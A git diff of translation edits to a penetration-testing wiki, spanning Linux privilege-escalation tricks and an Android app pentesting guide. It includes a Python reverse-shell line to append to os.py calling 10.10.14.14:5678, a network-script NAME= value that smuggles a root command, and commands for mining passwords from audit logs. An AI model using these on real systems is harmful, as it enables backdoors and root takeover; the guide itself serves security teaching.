+**另一个有趣的工具** 是: [**LaZagne**](https://github.com/AlessandroZ/LaZagne),它是一个开源应用程序,用于检索存储在本地计算机上的大量密码,适用于 Windows、Linux 和 Mac。 ### 日志 -如果你能读取日志,你可能会在其中找到 **有趣/机密的信息**。日志越异常,可能越有价值(大概)。\ -另外,一些“**配置不当的**”(被植入后门?)**审计日志** 可能允许你在审计日志中 **记录密码**,如这篇文章所述: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +如果你可以读取日志,可能会在其中找到 **有趣/机密的信息**。日志越奇怪,可能越有价值(大概率)。\ +此外,一些配置“**糟糕**”(或已被后门植入?)的 **audit logs** 可能允许你在审计日志中**记录密码**,正如这篇文章所解释的: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -为了读取日志,组 [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有帮助。 +要查看日志,**读取日志的组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有帮助。 ### Shell 文件 ```bash @@ -1375,45 +1396,45 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### 通用 Creds Search/Regex +### Generic Creds Search/Regex -你还应该检查文件名或内容中包含单词 "**password**" 的文件,也要在日志中检查 IPs 和 emails,或 hashes regexps。\ -我不会在这里列出如何执行所有这些操作,但如果你感兴趣你可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最新检查。 +你还应检查文件名(**名称**)或文件内容(**内容**)中是否包含词 **password**,并检查日志中是否有 IPs、emails,或 hashes regexps.\ +这里我不会列出所有具体做法,但如果你有兴趣,可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后一些检查。 -## 可写文件 +## Writable files ### Python library hijacking -如果你知道 **where** 一个 python 脚本将被执行并且你 **can write inside** 那个文件夹或你可以 **modify python libraries**,你可以修改 OS 库 并 backdoor it(如果你可以写入 python 脚本将被执行的位置,复制并粘贴 os.py 库)。 +如果你知道从**哪里**将执行某个 python 脚本,且你**可以在该文件夹写入**或可以**修改 python libraries**,你就可以修改 OS library 并在其中植入后门(如果你可以写入 python 脚本将被执行的位置,复制并粘贴 os.py library)。 -要 **backdoor the library**,只需在 os.py 库末尾添加以下行(更改 IP and PORT): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate 漏洞利用 -`logrotate` 中的一个漏洞允许对日志文件或其父目录具有 **write permissions** 的用户可能获得提权。因为 `logrotate`,通常以 **root** 身份运行,可以被操纵以执行任意文件,尤其是在像 _**/etc/bash_completion.d/**_ 这样的目录中。重要的是不仅要检查 _/var/log_ 中的权限,还要检查任何应用了日志轮换的目录。 +A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. > [!TIP] > 该漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 -关于该漏洞的更多详细信息请见此页面: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -你可以使用 [**logrotten**](https://github.com/whotwagner/logrotten) 来利用此漏洞。 +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -此漏洞与 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** 非常相似, 因此每当你发现可以修改日志时,检查谁在管理这些日志,并检查是否可以通过将日志替换为符号链接来提升权限。 +This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**漏洞参考:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -如果由于某种原因,用户能够向 _/etc/sysconfig/network-scripts_ 写入一个 `ifcf-` 脚本,或 **adjust** 已有脚本,则你的 **system is pwned**。 +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Network scripts(例如 _ifcg-eth0_)用于网络连接。它们看起来完全像 .INI files。然而,它们在 Linux 上被 Network Manager (dispatcher.d) \~sourced\~。 +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). -在我的案例中,这些 network scripts 中的 `NAME=` 属性未被正确处理。如果名称中有 **空白/空格,系统会尝试执行空白/空格之后的部分**。这意味着 **第一个空格之后的所有内容都会以 root 身份执行**。 +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. -例如: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes @@ -1421,15 +1442,15 @@ DEVICE=eth0 ``` (_注意 Network 和 /bin/id 之间的空格_) -### **init、init.d、systemd 和 rc.d** +### **init, init.d, systemd, and rc.d** -目录 `/etc/init.d` 是 System V init (SysVinit) 的 **脚本** 存放位置,SysVinit 是经典的 Linux 服务管理系统。它包含用于 `start`、`stop`、`restart`,有时还有 `reload` 服务的脚本。这些脚本可以直接执行,或通过位于 `/etc/rc?.d/` 的符号链接来执行。Redhat 系统的替代路径是 `/etc/rc.d/init.d`。 +目录 `/etc/init.d` 存放 System V init (SysVinit) 的 **脚本**,这是 **经典的 Linux 服务管理系统**。它包含用于 `start`、`stop`、`restart`,有时还有 `reload` 服务的脚本。这些脚本可以直接执行,或者通过位于 `/etc/rc?.d/` 的符号链接来调用。Redhat 系统的另一路径为 `/etc/rc.d/init.d`。 -另一方面,`/etc/init` 与 Upstart 相关,Upstart 是 Ubuntu 引入的新型服务管理,使用配置文件来管理服务任务。尽管已转向 Upstart,但由于 Upstart 中的兼容层,SysVinit 脚本仍与 Upstart 配置同时使用。 +另一方面,`/etc/init` 与 **Upstart** 相关,Upstart 是 Ubuntu 引入的较新的 **服务管理** 机制,使用配置文件来管理服务。尽管已经引入了 Upstart,但由于 Upstart 中的兼容层,仍会并行使用 SysVinit 脚本。 -systemd 作为现代的初始化和服务管理器出现,提供按需启动守护进程、自动挂载管理和系统状态快照等高级功能。它将文件组织到 `/usr/lib/systemd/`(用于发行版包)和 `/etc/systemd/system/`(供管理员修改),从而简化系统管理流程。 +**systemd** 是一种现代的初始化和服务管理器,提供按需启动守护进程、automount 管理以及系统状态快照等高级功能。它将文件组织在 `/usr/lib/systemd/`(发行版包)和 `/etc/systemd/system/`(管理员修改)中,从而简化系统管理流程。 -## Other Tricks +## 其他技巧 ### NFS Privilege escalation @@ -1438,7 +1459,7 @@ systemd 作为现代的初始化和服务管理器出现,提供按需启动守 nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### 从受限 Shells 中逃逸 {{#ref}} @@ -1454,7 +1475,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks 常通过 hook 一个 syscall 将特权内核功能暴露给 userspace 管理器。薄弱的管理器认证(例如基于 FD-order 的签名校验或糟糕的密码方案)可能允许本地应用模拟该管理器,从而在已被 root 的设备上升级为 root。了解更多及利用细节请见: +Android rooting frameworks 常常 hook 一个 syscall,将特权的 kernel 功能暴露给 userspace 的 manager。弱的 manager 认证(例如基于 FD-order 的签名校验或糟糕的密码方案)可能允许本地应用冒充该 manager,从而在已被 root 的设备上升级为 root。更多信息和利用细节请查看: {{#ref}} @@ -1479,7 +1500,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** 枚举 Linux 和 MAC 中的内核漏洞 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 6d5581b37..62779f315 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -4,7 +4,7 @@ ## Android 应用 基础 -强烈建议先阅读此页面,以了解与 Android 安全相关的**最重要部分以及 Android 应用中最危险的组件**: +强烈建议先阅读此页面,以了解与 Android security 相关的**最重要部分以及 Android 应用 中最危险的组件**: {{#ref}} @@ -13,24 +13,24 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -这是连接到 Android 设备(模拟或实体)所需的主要工具。\ -**ADB** 允许从计算机通过 **USB** 或 **Network** 控制设备。该工具可实现文件的双向**复制**、应用的**安装**与**卸载**、shell 命令的**执行**、数据的**备份**、日志的**读取**,以及其他功能。 +这是连接 Android 设备(模拟或物理)所需的主要工具。\ +**ADB** 允许从计算机通过 **USB** 或 **Network** 控制设备。该实用程序支持双向文件的 **copying**、应用的 **installation** 和 **uninstallation**、shell 命令的 **execution**、数据的 **backing up**、日志的 **reading**,以及其他功能。 -查看下面的 [**ADB Commands**](adb-commands.md) 列表,学习如何使用 adb。 +查看以下 [**ADB Commands**](adb-commands.md) 列表以学习如何使用 adb。 ## Smali -有时修改**应用程序代码**以访问**隐藏信息**(例如高度混淆的密码或 flag)是很有意义的。然后,反编译 APK、修改代码并重新编译可能会很有用。\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). 这在进行动态分析期间作为若干测试的替代方法时可能非常有用。请始终记住这种可能性。 +有时修改应用代码以访问**隐藏信息**(例如高度混淆的密码或 flags)非常有用。此时,反编译 apk、修改代码并重新编译可能是个不错的选择。\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md)。这在进行动态分析时可作为若干测试的替代方法非常有用。因此,请始终记住这个可能性。 -## 其他有趣的技巧 +## Other interesting tricks - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **下载 APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- 从设备提取 APK: +- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- 从设备提取 APK: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- 使用 [APKEditor](https://github.com/REAndroid/APKEditor) 合并所有 splits 和 base apks: +- 使用 [APKEditor](https://github.com/REAndroid/APKEditor) 合并所有 splits 和 base apks: ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## 静态分析 -首先,要分析一个 APK,你应该使用反编译器**查看 Java 代码**。\ -请[**在此阅读以了解可用反编译器的相关信息**](apk-decompilers.md)。 +首先,在分析 APK 时,你应该使用反编译器**查看 Java 代码**。\ +请[**在此阅读以获取关于不同可用反编译器的信息**](apk-decompilers.md)。 -### 查找有趣的信息 +### 查找有价值的信息 -仅查看 APK 的 **strings** 就可以搜索 **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** 和任何有趣的东西……甚至查找代码执行的 **backdoors** 或身份验证 backdoors(应用的硬编码 admin credentials)。 +仅查看 APK 的 **strings** 就可以搜索 **密码**、**URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** keys、**encryption**、**bluetooth uuids**、**tokens** 以及任何有趣的东西……甚至查找代码执行的 **backdoors** 或身份验证后门(应用的硬编码管理员凭据)。 **Firebase** -请特别注意 **Firebase URLs** 并检查其是否配置不当。[更多关于什么是 Firebase 以及如何利用它的信息见此处。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +特别注意 **Firebase URLs** 并检查其是否配置不当。[更多关于什么是 Firebase 以及如何利用它的信息在此。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### 对应用的基本理解 - Manifest.xml, strings.xml -对应用的 **_Manifest.xml_ 和 **_strings.xml_** 文件的检查可以揭示潜在的安全漏洞**。这些文件可以通过反编译器获取,或将 APK 文件扩展名改为 .zip 然后解压来访问。 +**检查应用的 _Manifest.xml_ 和 **_strings.xml_** 文件可以揭示潜在的安全漏洞**。这些文件可以通过反编译器访问,或者将 APK 扩展名重命名为 .zip 然后解压来获取。 -从 **Manifest.xml** 中可以识别的 **漏洞** 包括: +从 **Manifest.xml** 中可识别的 **漏洞** 包括: -- **Debuggable Applications**:在 _Manifest.xml_ 文件中被设置为 debuggable (`debuggable="true"`) 的应用存在风险,因为它们允许建立连接,可能导致被利用。关于如何在设备上查找和利用 debuggable 应用的更多信息,请参考相关教程。 -- **Backup Settings**:对于处理敏感信息的应用,应明确设置 `android:allowBackup="false"` 属性,以防止通过 adb 在 usb debugging 启用时进行未授权的数据备份。 -- **Network Security**:自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)位于 _res/xml/_ 中,可指定诸如证书 pinning 和 HTTP 流量设置等安全细节。例如可以为特定域名允许 HTTP 流量。 -- **Exported Activities and Services**:识别 manifest 中导出的 activities 和 services 可以突出可能被滥用的组件。动态测试阶段可以进一步分析如何利用这些组件。 -- **Content Providers and FileProviders**:暴露的 content providers 可能允许未授权的访问或修改数据。FileProviders 的配置也应仔细审查。 -- **Broadcast Receivers and URL Schemes**:这些组件可能被用来进行利用,特别注意 URL schemes 如何处理输入以防止注入或其他输入相关的漏洞。 -- **SDK Versions**:`minSdkVersion`、`targetSDKVersion` 和 `maxSdkVersion` 属性指示支持的 Android 版本,提示不要支持已过时且存在已知漏洞的 Android 版本以维护安全性。 +- **可调试的应用**:在 _Manifest.xml_ 文件中被设置为 debuggable (`debuggable="true"`) 的应用存在风险,因为它们允许连接,可能导致被利用。有关如何在设备上发现和利用可调试应用的更多信息,请参阅相关教程。 +- **备份设置**:对于处理敏感信息的应用,应显式将 `android:allowBackup="false"` 属性设置为 false,以防止在 usb debugging 启用时通过 adb 非授权备份数据。 +- **网络安全**:位于 _res/xml/_ 的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定证书 pin、HTTP 流量设置等安全细节。例如,为特定域名允许 HTTP 流量。 +- **导出 Activities 和 Services**:识别 manifest 中导出的 activities 和 services 可以突出可能被滥用的组件。动态测试期间的进一步分析可以揭示如何利用这些组件。 +- **Content Providers 与 FileProviders**:暴露的 content providers 可能允许未授权访问或修改数据。FileProviders 的配置也应仔细审查。 +- **Broadcast Receivers 和 URL Schemes**:这些组件可能被用于利用,特别要关注 URL schemes 如何处理输入以防止漏洞利用。 +- **SDK 版本**:`minSdkVersion`、`targetSDKVersion` 和 `maxSdkVersion` 属性表明支持的 Android 版本,强调不要支持已过时且存在漏洞的 Android 版本以保证安全。 -从 **strings.xml** 文件中,可以发现诸如 API keys、自定义 schema 以及其他开发者备注等敏感信息,这强调了对这些资源进行仔细审查的必要性。 +从 **strings.xml** 文件中,可以发现敏感信息,例如 API keys、自定义 schema 以及其他开发者注释,这强调了对这些资源进行仔细审查的必要性。 ### Tapjacking -**Tapjacking** 是一种攻击,攻击者会启动一个 **malicious** **application** 并将其**放置在受害应用之上**。一旦它可见地遮挡了受害应用,其用户界面会被设计成以欺骗用户与其交互,同时将交互传递给受害应用。\ -实际上,它是**让用户看不见他们实际上在对受害应用执行操作**。 +**Tapjacking** 是一种攻击,攻击者启动一个**恶意** **应用**并**将其放置在受害应用之上**。一旦它在视觉上遮挡了受害应用,其用户界面会被设计成以欺骗用户与之交互,同时将交互传递给受害应用。\ +实际上,它是**使用户看不见他们实际上正在对受害应用执行操作**。 -更多信息请见: +更多信息见: {{#ref}} @@ -104,7 +104,7 @@ tapjacking.md ### Task Hijacking -如果一个 **activity** 的 **`launchMode`** 设置为 **`singleTask` 且未定义任何 `taskAffinity`**,则容易受到 Task Hijacking 的影响。这意味着,可以安装一个 **application**,并且如果在真实应用之前启动它,它可能**劫持真实应用的任务**(使用户在与**malicious application** 交互时误以为是在使用真实应用)。 +一个将 **`launchMode`** 设置为 **`singleTask` 且未定义 `taskAffinity`** 的 **activity** 易受 task Hijacking 攻击。这意味着,如果在真实应用之前安装并启动一个**应用**,它可能**劫持真实应用的 task**(因此用户会与**恶意应用交互而误以为是在使用真实应用**)。 更多信息见: @@ -115,44 +115,44 @@ android-task-hijacking.md ### 不安全的数据存储 -**Internal Storage** +**内部存储** -在 Android 中,存储在 **internal** 存储中的文件**设计上只能由创建它们的应用访问**。该安全措施由 Android 操作系统强制执行,通常能满足大多数应用的安全需求。然而,开发者有时会使用诸如 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的模式来**允许**文件在不同应用之间**共享**。但这些模式**不会限制其他应用对这些文件的访问**,包括可能的恶意应用。 +在 Android 中,存储在 **内部** 存储的文件设计为仅能被**创建它们的应用**访问。该安全措施由 Android 操作系统强制执行,通常足以满足大多数应用的安全需求。然而,开发者有时会使用诸如 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的模式来**允许**文件在不同应用之间**共享**。但这些模式**并不限制其他应用对这些文件的访问**,包括潜在的恶意应用。 -1. 静态分析: -- **确保** 对 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用进行**严格审查**。这些模式**可能会将文件暴露给非预期或未授权的访问**。 -2. 动态分析: -- **验证** 应用创建的文件权限。特别是,**检查** 是否有任何文件被设置为全局可读或可写。这可能构成重大安全风险,因为它将允许**任何已安装的应用**(无论来源或意图)**读取或修改**这些文件。 +1. **静态分析:** +- **仔细审查** `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会将文件暴露给意外或未授权的访问**。 +2. **动态分析:** +- **验证**应用创建的文件的**权限**。特别是,**检查**是否有任何文件被设置为全局可读或可写。这会带来显著的安全风险,因为它将允许**任何安装在设备上的应用**(无论来源或意图)**读取或修改**这些文件。 -**External Storage** +**外部存储** -处理位于 **external storage**(如 SD 卡)上的文件时,应采取以下注意事项: +处理外部存储(例如 SD 卡)上的文件时,应注意以下事项: -1. 可访问性: -- external storage 上的文件是**全局可读写**的。这意味着任何应用或用户都可以访问这些文件。 -2. 安全顾虑: -- 鉴于访问容易,建议**不要在 external storage 上存储敏感信息**。 -- external storage 可以被移除或被任何应用访问,因此安全性较低。 -3. 处理来自 external storage 的数据: -- 始终对从 external storage 检索的数据进行**输入验证**。这很重要,因为这些数据来自不受信任的来源。 -- 强烈不建议将可执行文件或 class 文件存放在 external storage 以供动态加载。 -- 如果你的应用必须从 external storage 检索可执行文件,请确保在动态加载之前对这些文件进行**签名和密码学验证**。此步骤对于维护应用的安全完整性至关重要。 +1. **可访问性**: +- 外部存储上的文件是**全局可读可写**的,这意味着任何应用或用户都可以访问这些文件。 +2. **安全问题**: +- 鉴于易访问性,建议**不要在外部存储上保存敏感信息**。 +- 外部存储可以被移除或被任意应用访问,因此安全性较低。 +3. **处理来自外部存储的数据**: +- 对从外部存储检索的数据始终**执行输入验证**。这是至关重要的,因为这些数据来自不受信任的来源。 +- 强烈不建议在外部存储上存放可执行文件或 class 文件以进行动态加载。 +- 如果应用必须从外部存储检索可执行文件,确保这些文件在动态加载前**经过签名和加密验证**。这是维护应用安全完整性的关键一步。 -External storage 可以在 /storage/emulated/0, /sdcard, /mnt/sdcard 访问 +外部存储可在 /storage/emulated/0 、 /sdcard 、 /mnt/sdcard 访问 > [!TIP] -> 从 Android 4.4(**API 17**)开始,SD 卡具有一种目录结构,**将应用的访问限制在专门为该应用设置的目录内**。这可以防止恶意应用获得对其他应用文件的读写权限。 +> 从 Android 4.4 (**API 17**) 开始,SD 卡具有目录结构,**将应用的访问限制在专门为该应用准备的目录内**。这可防止恶意应用获得对其他应用文件的读写访问。 -**以明文存储的敏感数据** +**明文存储的敏感数据** -- **Shared preferences**:Android 允许每个应用方便地在路径 `/data/data//shared_prefs/` 保存 xml 文件,有时可以在该文件夹中以明文找到敏感信息。 -- **Databases**:Android 允许每个应用方便地在路径 `/data/data//databases/` 保存 sqlite 数据库,有时可以在该文件夹中以明文找到敏感信息。 +- **Shared preferences**:Android 允许每个应用轻松在路径 `/data/data//shared_prefs/` 保存 xml 文件,有时可以在该文件夹中以明文发现敏感信息。 +- **Databases**:Android 允许每个应用轻松在路径 `/data/data//databases/` 保存 sqlite 数据库,有时可以在该文件夹中以明文发现敏感信息。 ### Broken TLS **Accept All Certificates** -出于某些原因,开发者有时会接受所有证书,即使例如 hostname 不匹配,也会有如下类似的代码行: +出于某些原因,有时开发者会接受所有证书,即使例如 hostname 不匹配,也会用像下面这样的代码来处理: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -163,23 +163,23 @@ A good way to test this is to try to capture the traffic using some proxy like B **Poor Key Management Processes** -一些开发者会将敏感数据保存在本地存储并用硬编码/可预测的密钥进行加密。这样做不可取,因为通过一些 reversing 工作,攻击者可能提取出机密信息。 +有些开发者会把敏感数据保存在本地存储并用硬编码/可预测的密钥在代码中加密。这样不应该做,因为逆向工程可能让攻击者提取机密信息。 **Use of Insecure and/or Deprecated Algorithms** -开发者不应使用 **已弃用的算法** 来执行授权 **checks**、**存储** 或 **发送** 数据。部分此类算法包括:RC4、MD4、MD5、SHA1……例如,如果使用 **hashes** 来存储密码,应使用对 brute-force **resistant** 的哈希并配合 salt。 +开发者不应使用 **deprecated algorithms** 来执行授权 **checks**、**store** 或 **send** 数据。其中一些算法有:RC4, MD4, MD5, SHA1... 如果用 **hashes** 来存储密码,例如,应使用带 salt 的抗暴力破解 **resistant** 哈希算法。 ### Other checks -- 建议对 **APK 进行混淆(obfuscate the APK)**,以增加逆向工程的难度。 -- 如果应用比较敏感(例如银行类应用),应该自行检查手机是否 **rooted** 并据此采取措施。 -- 如果应用比较敏感(例如银行类应用),应检查是否在 **emulator** 中运行。 -- 如果应用比较敏感(例如银行类应用),应在执行前 **检查自身完整性** 以确认是否被篡改。 -- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查构建 APK 时使用了哪个 compiler/packer/obfuscator +- 建议 **obfuscate the APK**,以增加逆向工程的难度。 +- 如果应用是敏感的(如银行类应用),它应当执行它自己的检查来判断手机是否 **rooted** 并据此采取措施。 +- 如果应用是敏感的(如银行类应用),它应检测是否在使用 **emulator**。 +- 如果应用是敏感的(如银行类应用),它应在执行前 **check it's own integrity before executing** 以检测是否被修改。 +- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 来检查用哪个 compiler/packer/obfuscator 构建了 APK ### React Native Application -阅读以下页面,了解如何轻松访问 React 应用的 javascript 代码: +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} @@ -188,7 +188,7 @@ react-native-application.md ### Xamarin Applications -阅读以下页面,了解如何轻松访问 xamarin 应用的 C# 代码: +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} @@ -197,17 +197,17 @@ react-native-application.md ### Superpacked Applications -根据这篇 [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/),superpacked 是 Meta 的一种算法,它将应用的内容压缩到单个文件中。博文讨论了创建一个解压这类应用的应用的可能性……以及一种更快的方法,涉及 **执行应用并从文件系统收集解压后的文件。** +According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** ### Automated Static Code Analysis -工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能通过 **扫描** 应用 **代码** 来发现 **vulnerabilities**。该工具包含一系列 **known sources**(指示工具哪些 **位置** 的 **输入** 由用户控制)、**sinks**(指示工具哪些 **危险** 的 **位置** 可能被恶意用户输入利用)和 **rules**。这些规则定义了指示存在漏洞的 **sources-sinks** 组合。 +The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. -基于这些信息,**mariana-trench 会审查代码并发现其中的潜在漏洞**。 +With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked -应用中可能包含 secrets(API keys、密码、隐藏的 urls、子域名……)等,你可能能够发现这些信息。你可以使用诸如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) 之类的工具。 +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -236,54 +236,54 @@ content-protocol.md ## Dynamic Analysis -> 首先,你需要一个可以安装应用及其环境(主要是 Burp CA cert、Drozer 和 Frida)的环境。因此,强烈推荐使用已 root 的设备(模拟或真实设备均可)。 +> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. ### Online Dynamic analysis -你可以在此创建一个 **免费账号**: [https://appetize.io/](https://appetize.io)。该平台允许你 **上传** 并 **执行** APK,非常适合观察 APK 的运行行为。 +You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. -你甚至可以在网页中 **查看应用的日志** 并通过 **adb** 连接。 +You can even **see the logs of your application** in the web and connect through **adb**. ![](<../../images/image (831).png>) -借助 ADB 连接,你可以在模拟器内使用 **Drozer** 和 **Frida**。 +Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. ### Local Dynamic Analysis #### Using an emulator -- [**Android Studio**](https://developer.android.com/studio)(你可以创建 **x86** 和 **arm** 设备,根据 [**this**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **最新 x86** 版本 **支持 ARM 库**,无需使用较慢的 arm 模拟器)。 -- 在此页面学习如何设置: +- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). +- Learn to set it up in this page: {{#ref}} 